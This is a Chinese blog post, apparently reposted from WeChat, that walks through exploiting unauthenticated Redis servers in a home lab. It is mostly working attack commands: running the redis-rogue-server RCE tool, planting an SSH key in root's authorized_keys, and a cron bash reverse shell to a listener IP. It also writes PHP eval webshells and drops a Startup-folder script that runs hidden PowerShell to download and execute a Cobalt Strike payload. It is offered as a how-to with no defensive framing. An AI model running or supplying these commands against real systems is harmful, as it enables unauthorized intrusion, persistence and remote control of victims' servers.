一篇了解 Redis 未授权漏洞利用
2019-10-08 13:55:25 Author: mp.weixin.qq.com(查看原文) 阅读量:73 收藏

oxo1 前言

闲来没事来学一下 Redis 未授权吧、顺路写一篇公众号文章。不是原创、只是东搜西搜拼成一篇文章而已。作为脚本小子就不写什么原理了、因为也不懂。想知道原理的可以谷歌搜索学习吧。

oxo2 环境

  • Kali linux + Redis 4.x

  • Centos 7 + Redis 5.x

  • Win7 + Redis

oxo3 配置

修改 redis.conf (redis.windows.conf)配置文件

bind 127.0.0.1
protected-mode yes

改成下方内容就可以未授权访问了

# bind 127.0.0.1
protected-mode no

oxo4 RCE

本地测试的版本:4.x  + 5.x

利用工具:https://github.com/n0b0dyCN/redis-rogue-server

下载、安装、利用、一波操作。

git clone https://github.com/n0b0dyCN/redis-rogue-server.git
cd redis-rogue-server/RedisModulesSDK/exp
make
cd ../../
python3 redis-rogue-server.py --rhost 192.168.237.130 --lhost 192.168.237.129

输入 i 得到一个交互式 Shell、可以直接输入命令

输入 r 可以反弹 Shell

得到 Shell

录了一个渣渣视频到B站:https://www.bilibili.com/video/av70445399

oxo5 SSH

Kali 本地生成 ssh key

ssh-keygen -t rsa

进入 .ssh 目录把公钥写入到 ssh.txt 文件中

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > ssh.txt

把 ssh.txt 复制到 redis 启动的目录、然后写入

cat ssh.txt | ./redis-cli -h 192.168.237.130 -x set ssh_key

./redis-cli -h 192.168.237.130
config set dir /root/.ssh/
config set dbfilename authorized_keys
save

然后就可以连接了、第一次连接的时候需要输入 yes

ssh -i id_rsa [email protected]

录了一个渣渣视频到B站:https://www.bilibili.com/video/av70381805/

oxo6 定时任务反弹Shell

连接、写入反弹Shell命令、得到Shell

./redis-cli -h 192.168.237.130

config set dir /var/spool/cron/
config set dbfilename root
set x "\n\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.237.1/888 0>&1\n\n\n"
save

得到 Shell

录了一个渣渣视频到B站:https://www.bilibili.com/video/av70380577/

oxo7 Linux写入Webshell

连接、写入Webshell、菜刀连之

./redis-cli -h 192.168.237.130

config set dir /var/www/html/
config set dbfilename shell.php
set x "<?php @eval($_POST[1]);?>"
save

菜刀连之

录了一个渣渣视频到B站:https://www.bilibili.com/video/av70377553/

oxo8 自启动写入后门

CS生成后门、连接Redis、写入自启动、重启Win7、成功上线

./redis-cli -h 192.168.237.128

config set dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup"
config set dbfilename 1.bat
set x "\r\n\r\npowershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.237.129:80/a'))\"\r\n\r\n"
save

手动重启靶机、成功上线

录了一个渣渣视频到B站:https://www.bilibili.com/video/av70375932/

oxo9 Windows写入Webshell

连接、写入Webshell、菜刀连之

./redis-cli -h 192.168.237.128

config set dir c:/phpstudy/www
config set dbfilename shell.php
set shell "<?php @eval($_POST[1]);?>"
save

菜刀连之

录了一个渣渣视频到B站:https://www.bilibili.com/video/av70373023/

ox10 文末

利用方法简单、没什么麻烦的操作。每个操作步骤我还录了几个渣渣视频、脚本小子能做的只有这么多了。

ox11 参考

https://github.com/n0b0dyCN/redis-rogue-server

https://zhuanlan.zhihu.com/p/79808540

https://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/

https://zhuanlan.zhihu.com/p/25015624

https://www.leavesongs.com/PENETRATION/write-webshell-via-redis-server.html


文章来源: https://mp.weixin.qq.com/s/Oy63HY68MdDzL0WBdFLDBQ
如有侵权请联系:admin#unsafe.sh